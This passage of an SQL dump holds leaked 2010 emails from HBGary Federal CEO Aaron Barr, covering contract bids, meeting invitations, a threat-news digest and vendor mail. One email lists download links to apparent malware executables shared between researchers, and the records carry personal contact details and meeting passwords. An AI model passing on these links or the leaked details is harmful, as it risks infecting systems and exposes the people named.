program.\r\nJ.O.\r\n',12437,'aaron_hbgary_com/12437.html'),(6267,'2010-05-12','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004475.M626071P14101Q1122.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Status and Pipeline','When did we find out about TA-3?  Will we find out who is competing there?\r\nI bet Crucial is in it, which isn\'t good (or maybe it is from other defense\r\ncontractors)  \r\nWould be interested to see strengths and weaknesses.  \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, May 11, 2010 9:25 PM\r\nTo: Penny Leavy; Greg Hoglund\r\nCc: Ted Vera\r\nSubject: Status and Pipeline\r\n\r\nPenny/Greg,\r\n\r\nThe loss of CyberGenome TA-3, well, sucks.  We are still awaiting word on\r\nTA-1.  I have emailed DARPA to get some description of our proposals\r\nstrengths and weaknesses.\r\n\r\nWe are coming up on 6 months under your funding and want to give you a brief\r\nadd to our discussion yesterday.\r\n\r\nFocus:\r\nOffense\r\nIncident Response/Training\r\nLong Term Services\r\n\r\nOn offense we are working well and satisfying GD as well as getting some\r\ngood leads and conversations through Irv.  As well as Ted and my old line of\r\nwork, RFP delayed to this summer.\r\n\r\nIncident Response/Training - talking with Ted, we can be ready to run\r\nIR/Training engagements within the month, on our own.  So please keep this\r\nin mind as you are talking with customers about IR services.\r\n\r\nLong-Term Services - all the big contractors want to talk with us to provide\r\nservices on the major recompetes coming out this year.  We are teamed on\r\nVISE (NTOC Tool development), NCPP/US-CERT (DHS), SAIC is working to fit us\r\nin under the NANA contract (recent award to SAIC for NTOC analysis).\r\n\r\nThere are other pipeline items that fit into these categories but this is a\r\ngood synopsis of efforts.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal\r\n\r\n\r\n',7529,'aaron_hbgary_com/7529.html'),(6268,'2010-05-12','\"rick wesson\" <rick@support-intelligence.com>','/aaron@hbgary.com/new/1297004475.M897685P14101Q1123.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: Support INtelligence','Will do, I\'ll be in WDC June 14-18. I\'ll give you a heads up around the\r\n10th.\r\n\r\n-rick\r\n\r\n\r\n\r\n\r\nAaron Barr wrote:\r\n> Great.  Look Forward to it.\r\n> \r\n> Rick give me a call when you get back into town.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal\r\n> 719.510.8478\r\n> \r\n> On May 11, 2010, at 6:28 PM, Penny Leavy-Hoglund wrote:\r\n> \r\n>> Aaron,\r\n>>  \r\n>> You need to meet with Rick when he’s back out in DC.  He can do stuff\r\n>> you want\r\n>>  \r\n>> Penny C. Leavy\r\n>> President\r\n>> HBGary, Inc\r\n>>  \r\n>>  \r\n>> *NOTICE –* Any tax information or written tax advice contained herein\r\n>> (including attachments) is not intended to be and cannot be used by\r\n>> any taxpayer for the purpose of avoiding tax penalties that may be\r\n>> imposed on the taxpayer.  (The foregoing legend has been affixed\r\n>> pursuant to U.S. Treasury regulations governing tax practice.)\r\n>>  \r\n>> This message and any attached files may contain information that is\r\n>> confidential and/or subject of legal privilege intended only for use\r\n>> by the intended recipient. If you are not the intended recipient or\r\n>> the person responsible for   delivering the message to the intended\r\n>> recipient, be advised that you have received this message in error and\r\n>> that any dissemination, copying or use of this message or attachment\r\n>> is strictly\r\n>>  \r\n> \r\n',11835,'aaron_hbgary_com/11835.html'),(6269,'2010-05-12','\"Rich Cummings\" <messenger@webex.com>','/aaron@hbgary.com/new/1297004476.M120505P14101Q1124.eml','aaron@hbgary.com','Please join now, meeting in progress: Aaron Meeting',' Hello Aaron Barr,   Please join my meeting that is currently in progress.   Topic: Aaron Meeting  Date: Wednesday, May 12, 2010  Time: 2:04 pm, Eastern Daylight Time (New York, GMT-04:00)  Meeting Number: 575 292 278  Meeting Password: ddna123    -------------------------------------------------------  To join the online meeting (Now from iPhones too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/e.php?AT=MI&EventID=147194162&UID=1142872102&PW=NMDI5NTJjMDI4&RT=MiMxMQ%3D%3D  2. If requested, enter your name and email address.  3. If a password is required, enter the meeting password: ddna123  4. Click \"Join\".  5. Follow the instructions that appear on your screen.   To view in other time zones or languages, please click the link:  https://hbgary.webex.com/hbgary/e.php?AT=MI&EventID=147194162&UID=1142872102&PW=NMDI5NTJjMDI4&ORT=MiMxMQ%3D%3D   -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=147194162&tollFree=0   Access code:575 292 278   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".   You can contact me at:   rich@hbgary.com  1-301-652-8885   Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, do not join the session.  ',6895,'aaron_hbgary_com/6895.html'),(6270,'2010-05-12','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297004476.M352771P14101Q1125.eml','\"Aaron Barr\" <aaron@hbgary.com>,n.villeneuve@secdev.ca','Please join now, meeting in progress: Aaron Meeting','Hello ,	\r\n	\r\nPlease join my meeting that is currently in progress.	\r\n	\r\nTopic: Aaron Meeting	\r\nDate: Wednesday, May 12, 2010	\r\nTime: 2:04 pm, Eastern Daylight Time (New York, GMT-04:00)	\r\nMeeting Number: 575 292 278	\r\nMeeting Password: ddna123	\r\n	\r\n	\r\n-------------------------------------------------------	\r\nTo join the online meeting (Now from iPhones too!)	\r\n-------------------------------------------------------	\r\n1. Go to\r\nhttps://hbgary.webex.com/hbgary/e.php?AT=WMI&EventID=147194162&PW=a9ddce2b25\r\n3c51660a61&RT=MiMxMQ%3D%3D	\r\n2. If requested, enter your name and email address.	\r\n3. If a password is required, enter the meeting password: ddna123	\r\n4. Click \"Join\".	\r\n5. Follow the instructions that appear on your screen.	\r\n	\r\nTo view in other time zones or languages, please click the link:	\r\nhttps://hbgary.webex.com/hbgary/e.php?AT=WMI&EventID=147194162&PW=a9ddce2b25\r\n3c51660a61&ORT=MiMxMQ%3D%3D	\r\n	\r\n-------------------------------------------------------	\r\nTo join the audio conference only 	\r\n-------------------------------------------------------	\r\nCall-in toll number (US/Canada): 1-408-792-6300	\r\nGlobal call-in numbers:\r\nhttps://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=147194162\r\n&tollFree=0	\r\n	\r\nAccess code:575 292 278	\r\n	\r\n-------------------------------------------------------	\r\nFor assistance	\r\n-------------------------------------------------------	\r\n1. Go to https://hbgary.webex.com/hbgary/mc	\r\n2. On the left navigation bar, click \"Support\".	\r\n	\r\nYou can contact me at:	\r\nrich@hbgary.com	\r\n1-301-652-8885 	\r\n	\r\nSign up for a free trial of WebEx	\r\nhttp://www.webex.com/go/mcemfreetrial	\r\n	\r\nhttp://www.webex.com	\r\n	\r\n	\r\n	\r\nIMPORTANT NOTICE: This WebEx service includes a feature that allows audio\r\nand any documents and other materials exchanged or viewed during the session\r\nto be recorded. By joining this session, you automatically consent to such\r\nrecordings. If you do not consent to the recording, do not join the session.\r\n\r\n',13036,'aaron_hbgary_com/13036.html'),(6271,'2010-05-12','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004477.M950031P14101Q1126.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: NMCIWG: Daily Computer Threat News (Wed)','\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Wednesday, May 12, 2010 11:52 AM\r\nSubject: FW: NMCIWG: Daily Computer Threat News (Wed)\r\n\r\n \r\n\r\n\r\nToday\'s articles:\r\n\r\n*       Police apprehend Romanian phishing gang\r\n\r\n*       New attack tactic sidesteps Windows security software\r\n\r\n*       Windows 7 \'compatibility checker\' is a Trojan\r\n\r\n*       Gumblar Trojan vanishes suddenly yet again\r\n\r\n*       FCC to establish cyber certification program\r\n\r\n*       Microsoft closes critical holes in Outlook Express and Windows\r\nMail \r\n\r\n*       Adobe patches 18 holes in Shockwave Player \r\n\r\n*       Month of PHP Security \r\n\r\n*       Emails from Facebook contained IP addresses \r\n\r\n*       Zero-day exploit for Safari \r\n\r\n*       German court orders wireless passwords for all\r\n\r\n*       New malware attack laughs at your antivirus software\r\n\r\n',87,'aaron_hbgary_com/87.html'),(6272,'2010-05-12','\"Nart Villeneuve\" <nart.villeneuve@gmail.com>','/aaron@hbgary.com/new/1297004478.M434505P14101Q1127.eml','rich@hbgary.com,aaron@hbgary.com','malware links','http://malwarelab.org/hostile/humm/OlkExp.exehttp://malwarelab.org/hostile/humm/srmssp.exehttp://malwarelab.org/hostile/humm/wincfg.exe\r\nhttp://malwarelab.org/hostile/humm/winexplort.exehttp://malwarelab.org/hostile/humm/wmpcore.exe\r\n',13347,'aaron_hbgary_com/13347.html'),(6273,'2010-05-12','noreply@regus.com','/aaron@hbgary.com/new/1297004478.M807385P14101Q1128.eml','aaron@hbgary.com','Regus: Your recent meeting room visit','Dear Client,Thank you for your recent use of our Meeting Room facilities.In order to better serve you and understand your level of satisfaction, we would appreciate getting your feedback on a quick, one question survey.Please click on the link below to rate your stay with us.https://www.regus.com/survey/Questionnaire?ref=PIFUrT%2fVL615sWeZXMOPNb3NIUA1vPJU**********************************************************************\r\nThe information in this email is confidential and may be privileged.\r\nIf you are not the intended recipient please notify us immediately by\r\nreturn email at contact@regus.com or by contacting the\r\nRegus IT Helpdesk on +44 (0) 1462 708 070. \r\nRegus PLC, 26, Boulevard Royal, L-2449 Luxembourg\r\n**********************************************************************\r\n',13439,'aaron_hbgary_com/13439.html'),(6274,'2010-05-12','\"Edna Robinson\" <erobinson6@csc.com>','/aaron@hbgary.com/new/1297004480.M804109P14101Q1129.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: CTSC - Documents - HB Gray','\r\nGood Afternoon Aaron,\r\n\r\nAs of today I have not received a response\r\nregarding the CTSC MOU or additional documents required.\r\n\r\nPlease provide a status.\r\n\r\nThanks\r\n\r\nEdna Robinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.com\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose.\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nEdna Robinson/USA/CSC\r\n\r\nTo:\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nCc:\r\nPaul Rooney/USA/CSC@CSC, Phillip S Peak/FED/CSC@CSC\r\n\r\nDate:\r\n05/04/2010 03:14 PM\r\n\r\nSubject:\r\nRe: CTSC - Documents\r\n\r\n\r\n\r\nGood Afternoon Aaron,\r\n\r\nPer the discussions that CSC has had regarding the Cyber Technology Services\r\nContract (CTSC) opportunity, attached is a “Draft Memorandum of Understanding”\r\nfor your review and response. &nbsp; We value the capabilities and\r\nservices that you bring and look forward to working together in winning\r\nthis important work. \r\n\r\n\r\n\r\n\r\nIn addition to the MOU, the following\r\ndocuments are also required.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease review, update, and return the\r\nrequired documents at your earliest convenience.\r\n\r\nIf you have any questions, please do not\r\nhesitate to ask.\r\n\r\nThanks\r\n\r\nEdna Robinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.com\r\n\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose.\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nEdna Robinson/USA/CSC\r\n\r\nTo:\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nCc:\r\nPaul Rooney/USA/CSC@CSC, Phillip S Peak/FED/CSC@CSC\r\n\r\nDate:\r\n04/26/2010 01:58 PM\r\n\r\nSubject:\r\nRe: CTSC Non Disclosure Agreement\r\n\r\n\r\n\r\nAaron,\r\n\r\nPlease find the CTSC NDA full executed.\r\n\r\n[attachment &quot;CTSC Non-Disclosure\r\nAgreement. - HB Gray.pdf&quot; deleted by Edna Robinson/USA/CSC] \r\n\r\nThanks\r\n\r\nEdna Robinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.com\r\n\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose.\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nTo:\r\nEdna Robinson/USA/CSC@CSC\r\n\r\nDate:\r\n04/26/2010 11:09 AM\r\n\r\nSubject:\r\nRe: CTSC Non Disclosure Agreement\r\n\r\n\r\n\r\n\r\nHere you go.\r\n\r\nAaron\r\n[attachment &quot;CSC CTSC NDA_0_20100426_1107.pdf&quot;\r\ndeleted by Edna Robinson/USA/CSC] \r\n\r\nOn Apr 21, 2010, at 10:10 AM, Edna Robinson wrote:\r\n\r\n\r\nGood Morning Aaron, \r\n\r\nLet me know if you can open this one. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nEdna Robinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.com\r\n\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose. \r\n\r\n\r\n\r\n\r\nFrom:\r\n\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\nTo:\r\n\r\nEdna Robinson/USA/CSC@CSC\r\n\r\n\r\nDate:\r\n\r\n04/21/2010 09:28 AM\r\n\r\n\r\nSubject:\r\n\r\nRe: CTSC Non Disclosure Agreement\r\n\r\n\r\n\r\n\r\n\r\nHi Edna, \r\n\r\nCould you resend this document. &nbsp;I am getting a corruption error.\r\n&nbsp;It might be on my end, I am on a Mac. \r\n\r\nThank you, \r\nAaron \r\n\r\nOn Apr 20, 2010, at 3:13 PM, Edna Robinson wrote: \r\n\r\n\r\nGood Afternoon Mr. Aron, \r\n\r\nPlease sign an return the attached Non Disclosure agreement at your earliest\r\nconvenience so that it may be Fully Executed prior to your meeting \r\nwith Paul Rooney. \r\n\r\n\r\n\r\nThanks \r\n\r\nEdna Robinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.comEdna\r\nRobinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.com\r\n\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose.&lt;CTSC Non-Disclosure Agreement.doc&gt; \r\n\r\nAaron Barr \r\nCEO \r\nHBGary Federal Inc. \r\n\r\n\r\n&lt;CTSC Non-Disclosure Agreement.doc&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n',13630,'aaron_hbgary_com/13630.html'),(6275,'2010-05-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004486.M839903P14101Q1130.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','VAR Agreement','Fully executed copy attached.\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',9273,'aaron_hbgary_com/9273.html'),(6276,'2010-05-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004488.M751285P14101Q1131.eml','\"Scott Pease\" <scott@hbgary.com>,mark@hbgary.com,\"John Day\" <john@hbgary.com>,\"Scott Pease\" <scott@hbgary.com>','AD Install Procedures','Draft AD manual install procedures attached.\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',9895,'aaron_hbgary_com/9895.html'),(6277,'2010-05-12','\"Splunk, Inc.\" <info@splunk.com>','/aaron@hbgary.com/new/1297004488.M997191P14101Q1132.eml','aaron@hbgary.com','3 days left to save $200 on The First Splunk Users\' Conference','\r\n\r\nSplunkbody {background-color: #EEEEEE;margin: 0;padding: 0;}ul a {font-family: Arial;font-size: 12px;font-weight: normal;color: #085982;text-decoration: none;}p a {color: #2982A7;text-decoration: none;}td.permission {padding: 8px 0 8px 0;}td.date {padding: 0 0 4px 0;}td.permission p {font-family: Arial;font-size: 11px;font-weight: normal;font-style: italic;color: #151515;text-align: center;}td.permission a {color: #9f9862;text-decoration: none;}table.bg {background-color: #ffffff;}table.intro td {height: 10px;border-bottom: 1px solid #eeeeee;}table.header td {height: 10px;border-bottom: 1px solid #d5e0e1;border-top: 10px solid #111;}table.header td p.big {font-family:arial;font-size:24px;font-weight:normal;font-style: normal;padding:0 115px 0 15px;margin-top: 0px;}table.intro td p {font-family: Arial, Helvetica, sans-serif;font-size: 12px;font-weight: normal;color: #555555;padding:0 15px 0 15px;}table.header td h1 {font-family: \'Futura\', Arial;font-size: 24px;font-weight: normal;color: #9f9862;display: inline;margin: 0 0 0 6px;padding: 0;text-transform: uppercase;}table.header td h2 {font-family: Helvetica, Arial, sans-serif;font-size: 28px;font-weight: normal;color: #111111;margin: 0 0 10px 0;padding: 0 0 0 15px;}table.intro td h2 {font-family: Helvetica, Arial, sans-serif;font-size: 28px;font-weight: normal;color: #111111;margin: 0 0 10px 0;padding: 0 0 0 15px;}table.header td h3 {font-family: Arial, Arial;font-size: 12px;font-weight: normal;font-style: italic;color: #ffffff;display: inline;margin: 0;padding: 0 0 6px 0;}td.sidebar {background-color: #fff;padding-top:10px;}td.sidebar h2 {font-family: Arial;font-size: 16px;font-weight: normal;color: #464646;margin: 0 0 10px 0;border-bottom: 1px solid #CCC;text-transform: uppercase;}td.sidebar ul {margin: 0 0 20px 24px;padding: 0;font-family: Arial;font-size: 12px;font-weight: normal;color: #313131;}td.sidebar ul a {font-family: Arial;font-size: 12px;font-weight: normal;color: #085982;text-decoration: none;}td.sidebar p {font-family: Arial;font-size: 12px;font-weight: normal;color: #555;margin: 0 0 14px 0;padding: 0;}td.sidespace {padding: 20px;}table.options {border-top: 1px solid #9f9862;border-bottom: 1px solid #9f9862;}table.options td {padding: 16px 22px 16px 22px;}td.border {border-bottom: 1px solid #9f9862;}table.options h3 {font-family: Arial;font-size: 16px;font-weight: normal;color: #9f9862;margin: 0 0 4px 0;padding: 0;}table.options p {font-family: Arial;font-size: 13px;font-weight: normal;color: #313131;margin: 0;padding: 0;}table.options p a {color: #313131;text-decoration: none;border: none;margin: 0;padding: 0;}td.mainbar {padding: 20px;}td.mainbar h2 {font-family: Helvetica, Arial, sans-serif;font-size: 24px;font-weight: normal;color: #090909;margin: 0 0 10px 0;padding: 0;}td.mainbar h2 a {font-family: Arial;font-size: 20px;font-weight: bold;color: #9f9862;text-decoration: none;}td.mainbar h3 {font-family: Verdana;font-size: 11px;font-weight: normal;color: #333333;text-transform: uppercase;margin: 0 0 8px 0;padding: 0;}td.mainbar p {font-family: Arial, Helvetica, sans-serif;font-size: 12px;font-weight: normal;color: #555555;margin: 0 0 16px 0;padding: 0;}td.mainbar p.top {font-family: Verdana;font-size: 10px;font-weight: normal;color: #44a0df;text-transform: uppercase;width: 100%;text-align: right;margin: 14px 0 4px 0;border-top: 1px solid #CCCCCC;}table.footer {font-family: Arial;font-size: 11px;font-weight: normal;color: #090909;text-align: center;}table.footer td {height: 88px;}table.footer span {color: #ffffff;}table.bgBottom {padding: 10px;background-color: #EEE;}\r\n\r\n\r\n\r\nIf you&nbsp;have trouble viewing this email, read the online version. \r\nRegister by this Friday, May 14 to save $200 onThe First Splunk Worldwide Users’ ConferenceAugust 9-11, 2010Only 3 days left to register  for The First Splunk Worldwide Users\' Conference at $695. After Friday, the rate increases to $895.Register now to learn best practices for Splunk from the experts at Splunk, this August 9-11, 2010 in San Francisco.Autodesk, Pegasus Solutions, RiskMetrics, Salesforce.com, VeriSign, Voxeo ... all leaders in IT ... And just a few of the organizations slated to present in over 30 sessions at The First Splunk Worldwide Users’ Conference! Check out the session lineup.Other ways to save:Save 15% on Splunk Education classesSend 3 people and the 4th person is complimentaryRegister now, we hope to see you soon!The Splunk TeamWho?From Rockstars and IT Pros to Superheroes and CTOs, there\'s&nbsp;something for everyone at  Splunk .conf 2010.What?The First Splunk Worldwide Users’ ConferenceWhen?August 9-11, 2010Where?The Palace Hotel2 New Montgomery StreetSan Francisco, CAWhy?Deepen your practical knowledge of SplunkLearn best practices and check out new solutionsConnect with hundreds of your peers, see how others apply Splunk technology to real-world projectsBecome more involved in the Splunk communityHow?Register Now\r\n\r\n\r\n\r\n\r\nTo unsubscribe from future emails or to update your e-mail preferences click here. To forward this email to a friend, click here. Splunk, Inc. | 250 Brannan St. | San Francisco, CA 94107\r\n\r\n\r\n',4688,'aaron_hbgary_com/4688.html'),(6278,'2010-05-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004489.M513425P14101Q1133.eml','\"Barr Aaron\" <aaron@hbgary.com>','Penny','Paid today, for her personal amt. due and will transfer the HBGary\r\namt. This week.\r\n',12477,'aaron_hbgary_com/12477.html'),(6279,'2010-05-13','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297004489.M730803P14101Q1134.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 5/12/2010','\r\n\r\n  \r\n\r\n\r\n  \r\n    LinkedIn Network Updates\r\n    May 5 - May 12\r\n  \r\n  \r\n    FEATURED UPDATES\r\n    See more updates &#187;\r\n  \r\n  \r\n    \r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n                        Guy Mincey is now Director, Federal Solutions Development at CNSI\r\n                  Send note &#187;\r\n            \r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n                        Mark Trynor became Senior Software Engineer at HBGary Federal in March 2010\r\n                  Send note &#187;\r\n            \r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n      \r\n        \r\n      \r\n        \r\n      \r\n        \r\n      \r\n       \r\n      Mark Trynor has an updated GTalk ID: mark.trynor@google.com, and other personal information. Update your personal info\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    CONNECTIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Es Letsche\r\n    is now connected to\r\n        Jim Brinkmann\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Jim Holtzclaw\r\n    is now connected to\r\n        Robert Barone\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    POSTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Irving Lachow\r\nVery good cyber security company: Bit9.  Check \'em out.  http://www.bit9.com/      \r\n      Add a comment\r\n      \r\n        \r\n        \r\n        \r\nApplication Whitelisting and Application Control - Bit9         \r\n          Bit9 is the pioneer and leader in Enterprise Application Whitelisting. Our patented solutions eliminate risks caused by malicious, illegal and unauthorized software.\r\n        \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Chris Collins\r\nPresenting at #fcvw ( http://bit.ly/bYGYzP ) on Wednesday about virtual world applications. If you\'re in DC come along      \r\n      Add a comment\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Mohannad H. Gomaa, MBA PMP FE\r\nstarting the Executive Certificate in Technology, Operations, and Value Chain Management at the MIT Sloan School of Business      \r\n      Add a comment\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n    \r\n  \r\n\r\n    \r\n    GROUPS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    Irving Lachow has joined\r\n    Project on National Security Reform\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Shane Shook has joined\r\n    ExpertPages\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    RECOMMENDATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    David Nagel recommends\r\ncolleague      Kevin Spellacy\r\n          Managing Consultant at IBM Global Services\r\n        Kevin is an incredible worker, teammate, leader, husband and friend. I am so grateful for the time w...\r\n        Read more\r\n              \r\n            \r\n            \r\n              \r\n\r\n      Joshua Fugate was recommended by\r\ncolleague      Eric Hallam\r\n        Josh has the unique ability to adapt his skills to the needs of the organization. He was hired as a ...\r\n        Read more\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Eric Hallam recommends\r\ncolleague      Joshua Fugate\r\n          Intelligence Analyst at Northrop Grumman Information Systems\r\n        Josh has the unique ability to adapt his skills to the needs of the organization. He was hired as a ...\r\n        Read more\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    EVENTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n                  \r\n                    David Etue\r\n                  \r\n                     is attending \r\n                  \r\n                    Ogilvy Exchange cyber warfare lecture by James Miller, Principal Deputy Under Secretary of Defense   \r\n                  \r\n                     on May 12, 2010 \r\n                  \r\n                    RSVP\r\n                   \r\n                          \r\n            \r\n    \r\n  \r\n\r\n    \r\n    APPLICATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n                  \r\n                    Mohannad H. Gomaa, MBA PMP FE\r\n                  \r\n                     is reading \r\n                  \r\n                    Supply Chain Management in Services Industry: An Introduction\r\n                   \r\n                          \r\n            \r\n            \r\n              \r\n\r\n                  \r\n                    Mohannad H. Gomaa, MBA PMP FE\r\n                  \r\n                     is reading \r\n                  \r\n                    Retail Supply Chain Management (Series on Resource Management)\r\n                   \r\n                          \r\n            \r\n            \r\n              \r\n\r\n                  \r\n                    Mohannad H. Gomaa, MBA PMP FE\r\n                  \r\n                     is reading \r\n                  \r\n                    Supply Chain Management Best Practices\r\n                   \r\n                          \r\n            \r\n    \r\n  \r\n\r\n    \r\n  \r\n  \r\n      \r\n      See more updates &#187;\r\n    \r\n  \r\n  \r\n    \r\n\r\n\r\n  \r\n    \r\n      \r\n      \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n      &copy; 2010, LinkedIn Corporation\r\n    \r\n  \r\n    \r\n  \r\n\r\n\r\n',3775,'aaron_hbgary_com/3775.html'),(6280,'2010-05-13','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297004495.M412997P14101Q1136.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Follow-up: SecDev-HBGary - integration work','Dear Aaron, Rich,I am writing to follow-up on my email below regarding gauging the market for integration work. I would be happy to talk to you over the phone about this if you prefer.Best wishes,Arnav613-755-4007From: Arnav Manchanda &lt;a.manchanda@secdev.ca&gt;Date: May 10, 2010 12:21:19 PM EDTTo: 